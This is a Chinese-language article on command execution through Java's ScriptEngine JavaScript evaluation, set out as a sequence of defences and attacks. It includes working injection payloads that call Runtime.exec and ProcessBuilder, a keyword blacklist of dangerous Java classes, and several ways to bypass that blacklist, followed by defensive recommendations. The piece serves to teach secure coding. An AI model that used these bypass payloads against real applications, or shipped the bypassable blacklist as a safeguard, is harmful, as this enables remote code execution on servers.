java中js命令执行的攻与防
字数 597 2025-08-19 12:42:18

Java中JS命令执行的攻与防

漏洞背景

在Java应用程序中,当使用javax.script.ScriptEngine执行JavaScript代码时,如果未做适当的安全限制,攻击者可能通过JavaScript调用Java API实现命令执行。本文详细分析了一个实际案例中的攻防过程。

漏洞发现

初始代码实现

// 正则表达式检查
String JAVASCRIPT_MAIN="[\\s\\S]*"+"function"+"\\s+"+"mainOutput"+"[\\s\\S]*";
// 传入的字符串
String test="print('hello word!!');function mainOutput() {}";

// 代码执行点
if (Pattern.matches(JAVASCRIPT_MAIN,test)){
    ScriptEngineManager manager = new ScriptEngineManager(null);
    ScriptEngine engine = manager.getEngineByName("js");
    engine.eval(test);
}

攻击向量

攻击者可以通过构造特殊字符串绕过正则检查并执行任意Java代码:

String test="var a = mainOutput(); function mainOutput() { 
    var x=java.lang.Runtime.getRuntime().exec("calc")};";

防御措施演进

第一版黑名单防御

开发人员实现了基于关键字的黑名单过滤:

class KeywordCheckUtils {
    private static final Set<String> blacklist = Sets.newHashSet(
        "java.io.File", "java.lang.Runtime", "java.lang.System", 
        "java.lang.ProcessBuilder", "eval", "new function");
    
    public static void checkInsecureKeyword(String code) throws Exception {
        Set<String> insecure = blacklist.stream()
            .filter(s -> StringUtils.containsIgnoreCase(code, s))
            .collect(Collectors.toSet());
        if (!CollectionUtils.isEmpty(insecure)) {
            throw new Exception("输入字符串不是安全的");
        } else {
            ScriptEngineManager manager = new ScriptEngineManager(null);
            ScriptEngine engine = manager.getEngineByName("js");
            engine.eval(code);
        }
    }
}

绕过方法1:使用注释

String test="var a = mainOutput(); function mainOutput() { 
    var x=java.lang./****/Runtime.getRuntime().exec(\"calc\");};";

绕过方法2:使用ProcessBuilder

String test="var a = mainOutput(); function mainOutput() { 
    var x=new java.lang.ProcessBuilder; x.command(\"calc\"); x.start();return true;};";

第二版防御:过滤注释和空格

public static void checkInsecureKeyword(String code) {
    // 去除注释
    String removeComment = StringUtils.replacePattern(code, 
        "(?:/\\*(?:[^*]|(?:\\*+[^*/]))*\\*+/)|(?://.*)", "");
    // 多个空格替换为一个
    String finalCode = StringUtils.replacePattern(removeComment, "\\s+", " ");
    
    Set<String> insecure = blacklist.stream()
        .filter(s -> StringUtils.containsIgnoreCase(finalCode, s))
        .collect(Collectors.toSet());
    if (!CollectionUtils.isEmpty(insecure)) {
        throw new Exception("输入字符串不是安全的");
    }
}

绕过方法3:使用多余空格

String test="var a = mainOutput(); function mainOutput() { 
    var x=java.lang.   Runtime.getRuntime().exec(\"calc\");};";

最终防御方案

// 去除注释
String removeComment = StringUtils.replacePattern(code, 
    "(?:/\\*(?:[^*]|(?:\\*+[^*/]))*\\*+/)|(?://.*)", "");
// 去除所有空格
String removeWhitespace = StringUtils.replacePattern(removeComment, "\\s+", "");
// 多个空格替换为一个
String oneWhiteSpace = StringUtils.replacePattern(removeComment, "\\s+", " ");

Set<String> insecure = blacklist.stream()
    .filter(s -> StringUtils.containsIgnoreCase(removeWhitespace, s) ||
              StringUtils.containsIgnoreCase(oneWhiteSpace, s))
    .collect(Collectors.toSet());

高级绕过技术

即使经过上述防御,仍存在潜在绕过方法:

var x=new Function('return'+'(new java.'+'lang.ProcessBuilder)')();  
x.command("calc"); 
x.start(); 
var a = mainOutput(); 
function mainOutput() {};

安全建议

  1. 避免使用ScriptEngine执行不可信代码:这是最根本的解决方案
  2. 使用白名单而非黑名单:黑名单总是存在被绕过的风险
  3. 实现真正的沙箱环境:如使用Java Security Manager或专业JS沙箱
  4. 考虑性能与安全的平衡:完全安全的方案可能影响性能,需要权衡

总结

Java中执行JavaScript代码存在严重安全风险,黑名单防御方式容易被绕过。开发者应:

  • 理解攻击者的思维方式
  • 采用多层次防御
  • 优先考虑白名单而非黑名单
  • 在安全性和灵活性之间找到平衡点

安全是一个持续的过程,需要不断更新防御措施以应对新的攻击技术。

Java中JS命令执行的攻与防 漏洞背景 在Java应用程序中,当使用 javax.script.ScriptEngine 执行JavaScript代码时,如果未做适当的安全限制,攻击者可能通过JavaScript调用Java API实现命令执行。本文详细分析了一个实际案例中的攻防过程。 漏洞发现 初始代码实现 攻击向量 攻击者可以通过构造特殊字符串绕过正则检查并执行任意Java代码: 防御措施演进 第一版黑名单防御 开发人员实现了基于关键字的黑名单过滤: 绕过方法1:使用注释 绕过方法2:使用ProcessBuilder 第二版防御:过滤注释和空格 绕过方法3:使用多余空格 最终防御方案 高级绕过技术 即使经过上述防御,仍存在潜在绕过方法: 安全建议 避免使用ScriptEngine执行不可信代码 :这是最根本的解决方案 使用白名单而非黑名单 :黑名单总是存在被绕过的风险 实现真正的沙箱环境 :如使用Java Security Manager或专业JS沙箱 考虑性能与安全的平衡 :完全安全的方案可能影响性能,需要权衡 总结 Java中执行JavaScript代码存在严重安全风险,黑名单防御方式容易被绕过。开发者应: 理解攻击者的思维方式 采用多层次防御 优先考虑白名单而非黑名单 在安全性和灵活性之间找到平衡点 安全是一个持续的过程,需要不断更新防御措施以应对新的攻击技术。